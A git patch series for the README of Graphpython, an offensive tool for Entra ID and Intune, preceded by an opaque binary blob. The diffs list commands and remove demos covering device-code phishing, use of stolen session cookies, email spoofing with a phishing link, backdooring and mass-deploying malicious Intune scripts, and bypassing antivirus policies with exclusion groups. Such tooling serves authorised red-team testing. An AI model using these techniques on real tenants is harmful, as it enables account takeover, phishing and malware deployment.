zI{fOyuL1koXV9R72ze&?BTXSXSZ40g#C)a)5|^i48l2;pS*}r9_e>)7ZLNmsbJA2> z1c4FdtnRr%3UHN!M!9J{Ij+mfrU35wFM}d7sdunCg}z~4^NV~6U`oD85YG$LrH9t- zheg%Wec>-L8_LfWRMsZq87fzi>F0E#aL!6$N>I6Z>7`|s-`}PQ~ZpXKn~SR121I{hM0*Iaj}TnWo8CtdzWRAHB-iMM_}g%OC%1JHShR3@A$Hx%KW7{cud7(XHXqTi zE@ZUo2@<7WQk2N{D~=F}OsOdSghOfZUD(H~CCAh)>wI5i_+JuVWX^?F<_OB!>(aW|;Qc{||=z#U=x3F~qaDSdCA6tMG9u=D&E%mhHoA<%9 zSC~hjA7e~bsCX+g;S+IY94)#&2@h5{0}cqi*C$3)CYgC}nR^8Zpi-*}cog(IP9NRe z9!bu9i)DSx5p>d~(|lE!p&)aJsJ;ph3GQEwMl8;4xMHl98pt}t;G`6hF%t~JFVxu1jkKu)th!&lptwI-tp%3 zeq@fyZz8r{FlWhmE{%X_FC_YHT`e;&5Dk!<(=9o^yyv;^O3nug@$gL65V41`1FQgh zs^WhEgXC3N6NL*DbBfG7l;>#+^!PRN zeO@oWP8D7;#vbYczNl9$j?i^x5Z7p8U9Z_Tw#?8qhJsnRCS|>@+sDSgyNbj`*9{KJ z+fav~WK%QS6gCeLs+<~aQ3DYi4MuE1XcObPMC zwKn-g9PdA{?%Pku;n1v5PI9nd%3RPJ-Q4_7Rv(JR+orHkHezIbe&jO|Rg()~=Mve0 z>#(Hax+|)or1;O-R}sp?PA;6{*P+fB#nTDN;_ou#!Dbaq3OT$6O3OU_DNw8w!Kv<8d>KQ$f5@TnK&Rj5Di1CNy8LR zhU2B}6OBvp9ywY!EpuVNS90CVSr22thEEd5RPfgrVYsHwYOptG>T@qH3lRn>0&)d- zQoh-Iqi8BQKIn+{b51fsu>^}t!dCP^ED`4Y3PkjMDtS^E07G- zbkcYauCM;D84H}xEI%y09g3yFKMq6rp+!2&_FqKv(Z4e9=mCGf`9Qo`CoWw7KOkRl As{jB1 diff --git a/README.md b/README.md index fe5c382..d7512ad 100644 --- a/README.md +++ b/README.md @@ -79,170 +79,168 @@ python3 Graphpython.py -h ## Commands -Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for the full user guide and details of available functionality. - -### Outsider - -* **Invoke-ReconAsOutsider** - Perform outsider recon of the target domain -* **Invoke-UserEnumerationAsOutsider** - Checks whether the user exists within Azure AD - -### Authentication - -* **Get-GraphTokens** - Obtain graph token via device code phish -* **Get-TenantID** - Get tenant ID for target domain -* **Get-TokenScope** - Get scope of supplied token -* **Decode-AccessToken** - Get all token payload attributes -* **Invoke-RefreshToMSGraphToken** - Convert refresh token to Microsoft Graph token -* **Invoke-RefreshToAzureManagementToken** - Convert refresh token to Azure Management token -* **Invoke-RefreshToVaultToken** - Convert refresh token to Azure Vault token -* **Invoke-RefreshToMSTeamsToken** - Convert refresh token to MS Teams token -* **Invoke-RefreshToOfficeAppsToken** - Convert refresh token to Office Apps token -* **Invoke-RefreshToOfficeManagementToken** - Convert refresh token to Office Management token -* **Invoke-RefreshToOutlookToken** - Convert refresh token to Outlook token -* **Invoke-RefreshToSubstrateToken** - Convert refresh token to Substrate token -* **Invoke-RefreshToYammerToken** - Convert refresh token to Yammer token -* **Invoke-RefreshToIntuneEnrollmentToken** - Convert refresh token to Intune Enrollment token -* **Invoke-RefreshToOneDriveToken** - Convert refresh token to OneDrive token -* **Invoke-RefreshToSharePointToken** - Convert refresh token to SharePoint token -* **Invoke-CertToAccessToken** - Convert Azure Application certificate to JWT access token -* **Invoke-ESTSCookieToAccessToken** - Convert ESTS cookie to MS Graph access token -* **Invoke-AppSecretToAccessToken** - Convert Azure Application secretText credentials to access token -* **New-SignedJWT** - Construct JWT and sign using Key Vault PEM certificate (Azure Key Vault access token required) then generate Azure Management token - -### Post-Auth Enumeration - -* **Get-CurrentUser** - Get current user profile -* **Get-CurrentUserActivity** - Get recent activity and actions of current user -* **Get-OrgInfo** - Get information relating to the target organization -* **Get-Domains** - Get domain objects -* **Get-User** - Get all users (default) or target user -* **Get-UserProperties** - Get current user properties (default) or target user -* **Get-UserGroupMembership** - Get group memberships for current user (default) or target user -* **Get-UserTransitiveGroupMembership** - Get transitive group memberships for current user (default) or target user -* **Get-Group** - Get all groups (default) or target group -* **Get-GroupMember** - Get all members of target group -* **Get-AppRoleAssignments** - Get application role assignments for current user (default) or target user -* **Get-ConditionalAccessPolicy** - Get conditional access policy properties -* **Get-Application** - Get Enterprise Application details for app (NOT object) ID -* **Get-AppServicePrincipal** - Get details of the application's service principal from the app ID -* **Get-ServicePrincipal** - Get Service Principal details -* **Get-ServicePrincipalAppRoleAssignments** - Get Service Principal app role assignments (shows available admin consent permissions that are already granted) -* **Get-PersonalContacts** - Get contacts of the current user -* **Get-CrossTenantAccessPolicy** - Get cross tenant access policy properties -* **Get-PartnerCrossTenantAccessPolicy** - Get partner cross tenant access policy -* **Get-UserChatMessages** - Get ALL messages from all chats for target user (Chat.Read.All) -* **Get-AdministrativeUnitMember** - Get members of administrative unit -* **Get-OneDriveFiles** - Get all accessible OneDrive files for current user (default) or target user -* **Get-UserPermissionGrants** - Get permissions grants of current user (default) or target user -* **Get-oauth2PermissionGrants** - Get oauth2 permission grants for current user (default) or target user -* **Get-Messages** - Get all messages in signed-in user's mailbox (default) or target user -* **Get-TemporaryAccessPassword** - Get TAP details for current user (default) or target user -* **Get-Password** - Get passwords registered to current user (default) or target user -* **List-AuthMethods** - List authentication methods for current user (default) or target user -* **List-DirectoryRoles** - List all directory roles activated in the tenant -* **List-Notebooks** - List current user notebooks (default) or target user -* **List-ConditionalAccessPolicies** - List conditional access policy objects -* **List-ConditionalAuthenticationContexts** - List conditional access authentication context -* **List-ConditionalNamedLocations** - List conditional access named locations -* **List-SharePointRoot** - List root SharePoint site properties -* **List-SharePointSites** - List any available SharePoint sites -* **List-SharePointURLs** - List SharePoint site web URLs visible to current user -* **List-ExternalConnections** - List external connections -* **List-Applications** - List all Azure Applications -* **List-ServicePrincipals** - List all service principals -* **List-Tenants** - List tenants -* **List-JoinedTeams** - List joined teams for current user (default) or target user -* **List-Chats** - List chats for current user (default) or target user -* **List-ChatMessages** - List messages in target chat -* **List-Devices** - List devices -* **List-AdministrativeUnits** - List administrative units -* **List-OneDrives** - List current user OneDrive (default) or target user -* **List-RecentOneDriveFiles** - List current user recent OneDrive files -* **List-SharedOneDriveFiles** - List OneDrive files shared with the current user -* **List-OneDriveURLs** - List OneDrive web URLs visible to current user - -### Post-Auth Exploitation - -* **Invoke-CustomQuery** - Custom GET query to target Graph API endpoint -* **Invoke-Search** - Search for string within entity type (driveItem, message, chatMessage, site, event) -* **Find-PrivilegedRoleUsers** - Find users with privileged roles assigned -* **Find-PrivilegedApplications** - Find privileged apps (via their service principal) with granted admin consent API permissions -* **Find-UpdatableGroups** - Find groups which can be updated by the current user -* **Find-SecurityGroups** - Find security groups and group members -* **Find-DynamicGroups** - Find groups with dynamic membership rules -* **Update-UserPassword** - Update the passwordProfile of the target user (NewUserS3cret@Pass!) -* **Update-UserProperties** - Update a specific user property of the target user -* **Add-UserTAP** - Add new Temporary Access Password (TAP) to target user -* **Add-GroupMember** - Add member to target group -* **Add-ApplicationPassword** - Add client secret to target application -* **Add-ApplicationCertificate** - Add client certificate to target application -* **Add-ApplicationPermission** - Add permission to target application e.g. Mail.Send and attempt to grant admin consent -* **Grant-AppAdminConsent** - Grant admin consent for Graph API permission already assigned to enterprise application -* **Create-Application** - Create new enterprise application with default settings -* **Create-NewUser** - Create new Entra ID user -* **Invite-GuestUser** - Invite guest user to Entra ID -* **Assign-PrivilegedRole** - Assign chosen privileged role to user/group/object -* **Open-OWAMailboxInBrowser** - Open an OWA Office 365 mailbox in BurpSuite's embedded Chromium browser using either a Substrate.Office.com or Outlook.Office.com access token -* **Dump-OWAMailbox** - Dump OWA Office 365 mailbox -* **Spoof-OWAEmailMessage** - Send email from current user's Outlook mailbox or spoof another user (Mail.Send) - -### Post-Auth Intune Enumeration - -* **Get-ManagedDevices** - Get managed devices -* **Get-UserDevices** - Get user devices -* **Get-CAPs** - Get conditional access policies -* **Get-DeviceCategories** - Get device categories -* **Get-DeviceComplianceSummary** - Get device compliance summary -* **Get-DeviceConfigurations** - Get device configurations -* **Get-DeviceConfigurationPolicySettings** - Get device configuration policy settings -* **Get-DeviceEnrollmentConfigurations** - Get device enrollment configurations -* **Get-DeviceGroupPolicyConfigurations** - Get device group policy configurations and assignment details -* **Get-DeviceGroupPolicyDefinition** - Get device group policy definition -* **Get-RoleDefinitions** - Get role definitions -* **Get-RoleAssignments** - Get role assignments -* **Get-DeviceCompliancePolicies** - Get all device compliance policies (Android, iOS, macOS, Windows, Linux, etc.) -* **Get-DeviceConfigurationPolicies** - Get device configuration policies and assignment details (AV, ASR, DiskEnc, etc.) - +Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for more details on the available functionality. + +### Outsider + +- Invoke-ReconAsOutsider +- Invoke-UserEnumerationAsOutsider + +### Authentication + +- Get-GraphTokens +- Get-TenantID +- Get-TokenScope +- Decode-AccessToken +- Invoke-RefreshToMSGraphToken +- Invoke-RefreshToAzureManagementToken +- Invoke-RefreshToVaultToken +- Invoke-RefreshToMSTeamsToken +- Invoke-RefreshToOfficeAppsToken +- Invoke-RefreshToOfficeManagementToken +- Invoke-RefreshToOutlookToken +- Invoke-RefreshToSubstrateToken +- Invoke-RefreshToYammerToken +- Invoke-RefreshToIntuneEnrollmentToken +- Invoke-RefreshToOneDriveToken +- Invoke-RefreshToSharePointToken +- Invoke-CertToAccessToken +- Invoke-ESTSCookieToAccessToken +- Invoke-AppSecretToAccessToken +- New-SignedJWT + +### Post-Auth Enumeration + +- Get-CurrentUser +- Get-CurrentUserActivity +- Get-OrgInfo +- Get-Domains +- Get-User +- Get-UserProperties +- Get-UserGroupMembership +- Get-UserTransitiveGroupMembership +- Get-Group +- Get-GroupMember +- Get-AppRoleAssignments +- Get-ConditionalAccessPolicy +- Get-Application +- Get-AppServicePrincipal +- Get-ServicePrincipal +- Get-ServicePrincipalAppRoleAssignments +- Get-PersonalContacts +- Get-CrossTenantAccessPolicy +- Get-PartnerCrossTenantAccessPolicy +- Get-UserChatMessages +- Get-AdministrativeUnitMember +- Get-OneDriveFiles +- Get-UserPermissionGrants +- Get-oauth2PermissionGrants +- Get-Messages +- Get-TemporaryAccessPassword +- Get-Password +- List-AuthMethods +- List-DirectoryRoles +- List-Notebooks +- List-ConditionalAccessPolicies +- List-ConditionalAuthenticationContexts +- List-ConditionalNamedLocations +- List-SharePointRoot +- List-SharePointSites +- List-SharePointURLs +- List-ExternalConnections +- List-Applications +- List-ServicePrincipals +- List-Tenants +- List-JoinedTeams +- List-Chats +- List-ChatMessages +- List-Devices +- List-AdministrativeUnits +- List-OneDrives +- List-RecentOneDriveFiles +- List-SharedOneDriveFiles +- List-OneDriveURLs + +### Post-Auth Exploitation + +- Invoke-CustomQuery +- Invoke-Search +- Find-PrivilegedRoleUsers +- Find-PrivilegedApplications +- Find-UpdatableGroups +- Find-SecurityGroups +- Find-DynamicGroups +- Update-UserPassword +- Update-UserProperties +- Add-UserTAP +- Add-GroupMember +- Add-ApplicationPassword +- Add-ApplicationCertificate +- Add-ApplicationPermission +- Grant-AppAdminConsent +- Create-Application +- Create-NewUser +- Invite-GuestUser +- Assign-PrivilegedRole +- Open-OWAMailboxInBrowser +- Dump-OWAMailbox +- Spoof-OWAEmailMessage + +### Post-Auth Intune Enumeration + +- Get-ManagedDevices +- Get-UserDevices +- Get-CAPs +- Get-DeviceCategories +- Get-DeviceComplianceSummary +- Get-DeviceConfigurations +- Get-DeviceConfigurationPolicySettings +- Get-DeviceEnrollmentConfigurations +- Get-DeviceGroupPolicyConfigurations +- Get-DeviceGroupPolicyDefinition +- Get-RoleDefinitions +- Get-RoleAssignments +- Get-DeviceCompliancePolicies +- Get-DeviceConfigurationPolicies ### Post-Auth Intune Exploitation -* **Dump-DeviceManagementScripts** - Dump device management PowerShell scripts -* **Dump-WindowsApps**: Dump managed Windows OS applications (exe, msi, appx, msix, etc.) -* **Dump-iOSApps**: Dump managed iOS/iPadOS mobile applications -* **Dump-macOSApps**: Dump managed macOS applications -* **Dump-AndroidApps**: Dump managed Android mobile applications -* **Get-ScriptContent** - Get device management script content -* **Backdoor-Script** - Add malicious code to pre-existing device management script -* **Deploy-MaliciousScript** - Deploy new malicious device management PowerShell script (all devices) -* **Display-AVPolicyRules** - Display antivirus policy rules -* **Display-ASRPolicyRules** - Display Attack Surface Reduction (ASR) policy rules -* **Display-DiskEncryptionPolicyRules** - Display disk encryption policy rules -* **Display-FirewallConfigPolicyRules** - Display firewall configuration policy rules -* **Display-FirewallRulePolicyRules** - Display firewall rule policy rules (firewall rules not firewall config policy) -* **Display-EDRPolicyRules** - Display EDR policy rules -* **Display-LAPSAccountProtectionPolicyRules** - Display LAPS account protection policy rules -* **Display-UserGroupAccountProtectionPolicyRules** - Display user group account protection policy rules -* **Add-ExclusionGroupToPolicy** - Bypass av, asr, etc. rules by adding an exclusion group containing compromised user or device -* **Reboot-Device** - Reboot managed device -* **Retire-Device** - Retire managed device -* **Lock-Device** - Lock managed device -* **Shutdown-Device** - Shutdown managed device -* **Update-DeviceConfig** - Update properties of the managed device configuration +- Dump-DeviceManagementScripts +- Dump-WindowsApps +- Dump-iOSApps +- Dump-macOSApps +- Dump-AndroidApps +- Get-ScriptContent +- Backdoor-Script +- Deploy-MaliciousScript +- Display-AVPolicyRules +- Display-ASRPolicyRules +- Display-DiskEncryptionPolicyRules +- Display-FirewallConfigPolicyRules +- Display-FirewallRulePolicyRules +- Display-EDRPolicyRules +- Display-LAPSAccountProtectionPolicyRules +- Display-UserGroupAccountProtectionPolicyRules +- Add-ExclusionGroupToPolicy +- Reboot-Device +- Retire-Device +- Lock-Device +- Shutdown-Device +- Update-DeviceConfig ### Cleanup -* **Delete-User** - Delete a user -* **Delete-Group** - Delete a group -* **Remove-GroupMember** - Remove user from a group -* **Delete-Application** - Delete an application -* **Delete-Device** - Delete managed device -* **Wipe-Device** - Wipe managed device +- Delete-User +- Delete-Group +- Remove-GroupMember +- Delete-Application +- Delete-Device +- Wipe-Device ### Locators -* **Locate-ObjectID** - Find object ID and display object properties -* **Locate-PermissionID** - Find Graph permission ID details (application/delegated, description, admin consent required, ...) - +- Locate-ObjectID +- Locate-PermissionID
      From ad8cc324e8b00b657d9b92b6809a89dd8d4141c9 Mon Sep 17 00:00:00 2001 From: mc <47215311+mlcsec@users.noreply.github.com> Date: Tue, 23 Jul 2024 21:08:37 +0100 Subject: [PATCH 15/37] Update README.md --- README.md | 463 +++++++----------------------------------------------- 1 file changed, 56 insertions(+), 407 deletions(-) diff --git a/README.md b/README.md index d7512ad..8afd4ab 100644 --- a/README.md +++ b/README.md @@ -10,64 +10,23 @@ Graphpython covers external reconnaissance, authentication/token manipulation, e ## Index -- [Install](#Install) +- [Installation](#Installation) - [Usage](#Usage) - [Commands](#Commands) -- [Demo](#demos) - - [Outsider](#outsider-1) - - [Invoke-ReconAsOutsider](#invoke-reconasoutsider) - - [Invoke-UserEnumerationAsOutsider](#invoke-userenumerationasoutsider) - - [Authentication](#authentication-1) - - [Get-GraphTokens](#get-graphtokens) - - [Invoke-RefreshToAzureManagementToken](#invoke-refreshtoazuremanagementtoken) - - [Invoke-CertToAccessToken](#invoke-certtoaccesstoken) - - [Invoke-ESTSCookieToAccessToken](#invoke-estscookietoaccesstoken) - - [Post-Auth Enumeration](#post-auth-enumeration-1) - - [Get-User](#get-user) - - [Get-UserPrivileges](#get-userprivileges) - - [Get-Application](#get-application) - - [List-RecentOneDriveFiles](#list-recentonedrivefiles) - - [Post-Auth Exploitation](#post-auth-exploitation-1) - - [Invite-GuestUser](#invite-guestuser) - - [Find-PrivilegedRoleUsers](#find-privilegedroleusers) - - [Assign-PrivilegedRole](#assign-privilegedrole) - - [Find-PrivilegedApplications](#find-privilegedapplications) - - [Add-ApplicationPermission](#add-applicationpermission) - - [Spoof-OWAEmailMessage](#spoof-owaemailmessage) - - [Find-DynamicGroups](#find-dynamicgroups) - - [Find-UpdatableGroups](#find-updatablegroups) - - [Post-Auth Intune Enumeration](#post-auth-intune-enumeration-1) - - [Get-ManagedDevices](#get-manageddevices) - - [Get-UserDevices](#get-userdevices) - - [Get-DeviceConfigurationPolicies](#get-deviceconfigurationpolicies) - - [Post-Auth Intune Exploitation](#post-auth-intune-exploitation-1) - - [Display-AVPolicyRules](#display-avpolicyrules) - - [Get-ScriptContent](#get-scriptcontent) - - [Backdoor-Script](#backdoor-script) - - [Deploy-MaliciousScript](#deploy-maliciousscript) - - [Add-ExclusionGroupToPolicy](#add-exclusiongrouptopolicy) - - [Cleanup](#cleanup-1) - - [Remove-GroupMember](#remove-groupmember) - - [Locators](#locators-1) - - [Locate-ObjectID](#locate-objectid) - - [Locate-PermissionID](#locate-permissionid) - - - -## Install - -Install via git and pip: +- [Demos](#Demos) + +## Installation + +Graphpython is designed to be cross-platform, ensuring compatibility with both Windows and Linux based operating systems: + ``` git clone https://github.com/mlcsec/Graphpython.git cd Graphpython pip install . -Graphpython -h ``` -Or run manually with Python3: -``` -git clone https://github.com/mlcsec/Graphpython.git -cd Graphpython -pip3 install -r requirements.txt +```bash +Graphpython -h +# or python3 Graphpython.py -h ``` @@ -79,7 +38,7 @@ python3 Graphpython.py -h ## Commands -Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for more details on the available functionality. +Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for more details on the available functionality: ### Outsider @@ -244,366 +203,55 @@ Please refer to the [Wiki](https://github.com/mlcsec/Graphpython/wiki) for more
      -# Demo - -## Outsider - -### Invoke-ReconAsOutsider - -Perform unauthenticated external recon of the target domain like AADInternal's [Invoke-ReconAsOutsider](https://github.com/Gerenios/AADInternals/blob/master/KillChain.ps1#L8) - -#### Example: -``` -# graphpython.py --command invoke-reconasoutsider --domain company.com -``` -#### Output: -``` -[*] Invoke-ReconAsOutsider -================================================================================ -Domains: 2 -Tenant brand: Company Ltd -Tenant name: company -Tenant id: 05aea22e-32f3-4c35-831b-52735704feb3 -Tenant region: EU -DesktopSSO enabled: False -MDI instance: Not found -Uses cloud sync: False - -Name DNS MX SPF DMARC DKIM MTA-STS Type STS ----- --- --- ---- ----- ---- ------- ---- --- -company.com False False False False False False Federated sts.company.com -company.onmicrosoft.com True True True False True False Managed -================================================================================ -``` - -### Invoke-UserEnumerationAsOutsider - -Perform username enumeration for the target domain like AADInternal's [Invoke-UserEnumerationAsOutsider](https://github.com/Gerenios/AADInternals/blob/master/KillChain.ps1#L283): - -![](./.github/invokeuserenum.png) - -
      - -## Authentication - -### Get-GraphTokens - -Obtain MS Graph tokens via device code authentication (can also be used for device code phishing): - -![](./.github/getgraphtokens.png) - -### Invoke-RefreshToAzureManagementToken - -A valid refresh token can be used to generate access tokens for a [variety of services](https://github.com/mlcsec/Graphpython/wiki#authentication), Azure Management for example shown below. The `--use-cae` switch can be included to use **Continuous Access Evaluation (CAE)** to obtain an access token that's valid for 24 hours: - -![](./.github/refreshtoazuremanagement.png) - -The returned access token can then be used to authenticate to Azure via the Az PowerShell module: -``` -PS > Connect-AzAccount -AccessToken eyJ0eXAi... -AccountId user@domain.onmicrosoft.com -Tenant 42838115-fbda-497e-b273-30944ff2786e - -Subscription name Tenant ------------------ ------ -Azure subscription 42838115-fbda-497e-b273-30944ff2786e -``` - -### Invoke-CertToAccesstoken - -If you stumble across an enterprise application certificate (.pfx) you can use it to request a valid MS Graph access token. - -> The enterprise application must have the corresponding .crt, .pem, or .cer in the application's certificates & secrets configuration otherwise you'll receive 401 client errors as the .pfx used to sign the client assertion won't be registered with the application - -![](./.github/certtoaccesstoken.png) - -The [Get-Application](https://github.com/mlcsec/Graphpython?tab=readme-ov-file#get-application) command can be used to identified the Graph permissions assigned to the compromised application. - -### Invoke-ESTSCookieToAccessToken - -Obtain an MS Graph token for a selected client (MSTeams, MSEdge, AzurePowershell) from a captured ESTSAUTH or ESTSAUTHPERSISTENT cookie: - -> ESTSAUTH and ESTSAUTHPERSISTENT cookies are often captured via successful Evilginx phishes - -![](./.github/estsauthcookie.png) - -
      - -## Post-Auth Enumeration - -### Get-User - -Get all or specific user(s) details. User object can be supplied as user ID or User Principal Name: - -![](./.github/getuser.png) - -### Get-UserPrivileges - -Identifies assigned directory roles, Administrative Units, and Group membership information for the current user of target user: - -![](./.github/getuserprivileges.png) - - -### Get-Application - -Get details relating to the target application and now dynamically resolves the `requiredResourceAccess` attribute which contains Graph API role IDs assigned to the application: - -![](./.github/getapplication-updated.png) - -### List-RecentOneDriveFiles - -List recent OneDrive files belonging to current user: - -![](./.github/listrecentonedrivefiles.png) - -
      - -## Post-Auth Exploitation - -### Invite-GuestUser - -Invite a malicious guest user to the target environment: - -![](./.github/inviteguestuser.png) - -### Find-PrivilegedRoleUsers - -Loops through 27 of the most privileged directory roles in Entra and displays any assignments to help identify high-value targets: - -![](./.github/findprivilegedroleusers.png) - -### Assign-PrivilegedRole - -Assign a privileged role via template ID to a user or group and define permission scope: - -![](./.github/assignprivilegedrole.png) - - -### Find-PrivilegedApplications - -Applications can be granted privileged Graph API permissions via 'Grant admin consent...' option for permissions marked 'Admin consent required': - -![](./.github/apiperms.png) - -The `Find-PrivilegedApplications` command helps to identify high-value apps that have already been assigned with privileged permssions: - -1. identifies all enterprise/registered applications within Entra (no default Microsoft ones included) -2. finds the service principal ID for each application -3. enumerates app role assignments for each application service principal -4. cross-references assigned app role IDs and data against .github/graphpermissions.txt -5. displays assigned role name and description - -![](./.github/findprivilegedapps.png) - -### Add-ApplicationPermission - -Adds desired Graph API permission to target application ID. If the role is privileged it will prompt the user to confirm whether to attempt to grant admin consent (via the `beta/directory/consentToApp` endpoint) using the current privileges: - -![](./.github/addapplicationpermission.png) - -> NOTE: if the admin consent grant attempt fails with 400 error the token likely doesn't have the necessary scope/permissions assigned - -The permission update succeeded in this instance and the application API permission is assigned however the admin consent grant obviously failed: - -![](./.github/azureperms1.png) - -Once you obtain the necessary permissions or compromise a privileged token then the `Grant-AppAdminConsent` command can be used to grant admin consent to the role that was added for the target app ID: - -![](./.github/grantappadminconsent.png) - -Verified in the Azure portal: - -![](./.github/azureperms2.png) - -Or you can use the `Get-Application` command: -``` -# graphpython.py --command get-application --id 3d84ebcc-0eef-4f59-ae2a-3fe0e1eb7f51 --token .\token --select requiredResourceAccess - -[*] Get-Application -================================================================================ -requiredResourceAccess: [{'resourceAppId': '00000003-0000-0000-c000-000000000000', 'resourceAccess': [{'id': 'd07a8cc0-3d51-4b77-b3b0-32704d1f69fa', 'type': 'Role'}]}] -================================================================================ -``` -The ID within `resourceAccess` corresponds to `AccessReview.Read.All` that was assigned as confirmed with [Locate-PermissionID](https://github.com/mlcsec/Graphpython/tree/main?tab=readme-ov-file#locate-permissionid): - -![](./.github/locatepermissionid.png) - - -### Spoof-OWAEmailMessage - -Send emails using a compromised user's Outlook mail box. The `--id` parameter can be used to send emails as other users within the organistion. - -> Mail.Send permission REQUIRED for `--id` spoofing - -Options: -1. Compromise and auth as an application service principal with the `Mail.Send` permission assigned then use `Spoof-OWAEmailMessage` -2. Obtain Global Admin/Application Admin/Cloud Admin permissions or assign role to an existing owned user with `Assign-PrivilegedRole` -> then add a password/certifcate and `Mail.Send` permission to an enterprise app -> auth as the app service principal and then use `Spoof-OWAEmailMessage` - -![](./.github/spoofowaemailcommand.png) - -The content of `--email email.txt` for reference: - -``` -Morning, - -Please use following login for the devops portal whilst the main app is down: - -https://malicious/login - -Regards, - -MC -``` -> I've not tested any HTML or similar formatted emails but in theory anything that works in Outlook normally should render correctly if supplied via `--email`. - -Can see the email in the target users Outlook: - -![](./.github/spoofowaemail.png) - - -### Find-DynamicGroups - -Identify groups with dyanmic group membership rules that can be abused: - -![](./.github/finddynamicgroups.png) - -In this instance you could create a new user (`Create-NewUser`) with 'admin' in their UPN to be assigned to the Dynamic Admins group. Or you could update the user's Department property via `Update-UserProperties`. - -### Find-UpdatableGroups - -Identify groups that can be updated with the current user's permissions: - -![](./.github/findupdatablegroups.png) - - -
      - -## Post-Auth Intune Enumeration - -### Get-ManagedDevices - -List Intune managed devices then select and display device properties such as name, os version, and username: - -![](./.github/getmanageddevices.png) - -### Get-UserDevices - -Similarly you can identify all Intune managed devices and details belonging to a specific user by supplying their Entra User ID or their User Principal Name using the `--id` flag: - -![](./.github/getuserdevices.png) - -### Get-DeviceConfigurationPolicies - -Identify all created device configuration policies across the Intune environment with colour highlighting for policies with active/no assignments. This includes Antivirus (Defender), Disk encryption (Bitlocker), Firewall (policies and rules), EDR, and Attack Surface Reduction (ASR): - -![](./.github/getdeviceconfigurationpolicies.png) - -In the example above you can see an ASR policy in place which is assigned to all users and devices, however members of group ID `46a6...` are excluded. There is a Bitlocker policy but it hasn't been assigned to any devices. - -
      - -## Post-Auth Intune Exploitation - -### Display-AVPolicyRules - -Display the rules for a Microsoft Defender Antivirus policy deployed via Intune: - -![](./.github/displayavpolicyrules.png) - -### Get-ScriptContent - -Get all device management PowerShell script details and content: - -![](./.github/getscriptcontent.png) - -### Backdoor-Script - -Identify a pre-existing device management script you want to add malicious code to and get it's content: - -![](./.github/getscriptcontent-new.png) - -Create a new script locally with the existing content and your malicious code added: - -![](./.github/createdirbackdoored.png) - -Supply the backdoored script to the `--script` flag which will then patch the existing script: - -![](./.github/backdoorscript.png) - - -### Deploy-MaliciousScript - -Create a new script with desired properties (signature check, run as account, etc.): - -![](./.github/deploymaliciousscript.png) - -Verified creation and assignment options in Microsoft Intune admin center: - -![](./.github/deploymaliciousscript-intuneportal.png) - -> NOTE: Deploy-PrinterSettings.ps1 is used for the actual script name instead of whatever is supplied to `--script`. Recommended updating this in graphpython.py to blend in to target env. - -### Add-ExclusionGroupToPolicy - -Instead of updating or removing an AV, ASR, Bitlocker etc. policy you can simply add an exclusion group which will keep any groups members (users/devices) exempt from the policy rules in place. - -Take the following Attack Surface Reduction (ASR) policy: - -![](./.github/addexclusiongroup1.png) - -Currently assigned to all users and devices: - -![](./.github/addexclusiongroup2.png) - -Adding an exclusion group to the ASR policy above: - -![](./.github/addexclusiongroup3.png) - -Verify the changes have been applied and Excluded Group ID has been added to the ASR policy: - -![](./.github/addexclusiongroup4.png) - -
      - -## Cleanup - -### Remove-GroupMember - -Check the members of the target group: - -![](./.github/getgroupmember.png) - -Remove the group member by first supplying the groupid and object id to the `--id` flag: - -![](./.github/removegroupmember.png) - -Confirm that the object has been removed from the group: - -![](./.github/getgroupmemberafter.png) - -
      - -## Locators - -### Locate-ObjectID - -Any unknown object IDs can be easily located: - -![](./.github/locateobjectid.png) - -### Locate-PermissionID - -Graph permission IDs applied to objects can be easily located with detailed explaination of the assigned permissions: - -![](./.github/getpermissionid.png) - - +# Demos + +The following demos can be found on the [Wiki](https://github.com/mlcsec/Graphpython/wiki/Demos): + +- [Outsider](https://github.com/mlcsec/Graphpython/wiki/Demos#outsider) + - [Invoke-ReconAsOutsider](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-reconasoutsider) + - [Invoke-UserEnumerationAsOutsider](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-userenumerationasoutsider) +- [Authentication](https://github.com/mlcsec/Graphpython/wiki/Demos#authentication) + - [Get-GraphTokens](https://github.com/mlcsec/Graphpython/wiki/Demos#get-graphtokens) + - [Invoke-RefreshToAzureManagementToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-refreshtoazuremanagementtoken) + - [Invoke-CertToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-certtoaccesstoken) + - [Invoke-ESTSCookieToAccessToken](https://github.com/mlcsec/Graphpython/wiki/Demos#invoke-estscookietoaccesstoken) +- [Post-Auth Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-enumeration) + - [Get-User](https://github.com/mlcsec/Graphpython/wiki/Demos#get-user) + - [Get-UserPrivileges](https://github.com/mlcsec/Graphpython/wiki/Demos#get-userprivileges) + - [Get-Application](https://github.com/mlcsec/Graphpython/wiki/Demos#get-application) + - [List-RecentOneDriveFiles](https://github.com/mlcsec/Graphpython/wiki/Demos#list-recentonedrivefiles) +- [Post-Auth Exploitation](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-exploitation) + - [Invite-GuestUser](https://github.com/mlcsec/Graphpython/wiki/Demos#invite-guestuser) + - [Find-PrivilegedRoleUsers](https://github.com/mlcsec/Graphpython/wiki/Demos#find-privilegedroleusers) + - [Assign-PrivilegedRole](https://github.com/mlcsec/Graphpython/wiki/Demos#assign-privilegedrole) + - [Find-PrivilegedApplications](https://github.com/mlcsec/Graphpython/wiki/Demos#find-privilegedapplications) + - [Add-ApplicationPermission](https://github.com/mlcsec/Graphpython/wiki/Demos#add-applicationpermission) + - [Spoof-OWAEmailMessage](https://github.com/mlcsec/Graphpython/wiki/Demos#spoof-owaemailmessage) + - [Find-DynamicGroups](https://github.com/mlcsec/Graphpython/wiki/Demos#find-dynamicgroups) + - [Find-UpdatableGroups](https://github.com/mlcsec/Graphpython/wiki/Demos#find-updatablegroups) +- [Post-Auth Intune Enumeration](https://github.com/mlcsec/Graphpython/wiki/Demos#post-auth-intune-enumeration) + - [Get-ManagedDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-manageddevices) + - [Get-UserDevices](https://github.com/mlcsec/Graphpython/wiki/Demos#get-userdevices) + - [Get-DeviceConfigurationPolicies](https://github.com/mlcsec/Graphpython/wiki/Demos#get-deviceconfigurationpolicies) 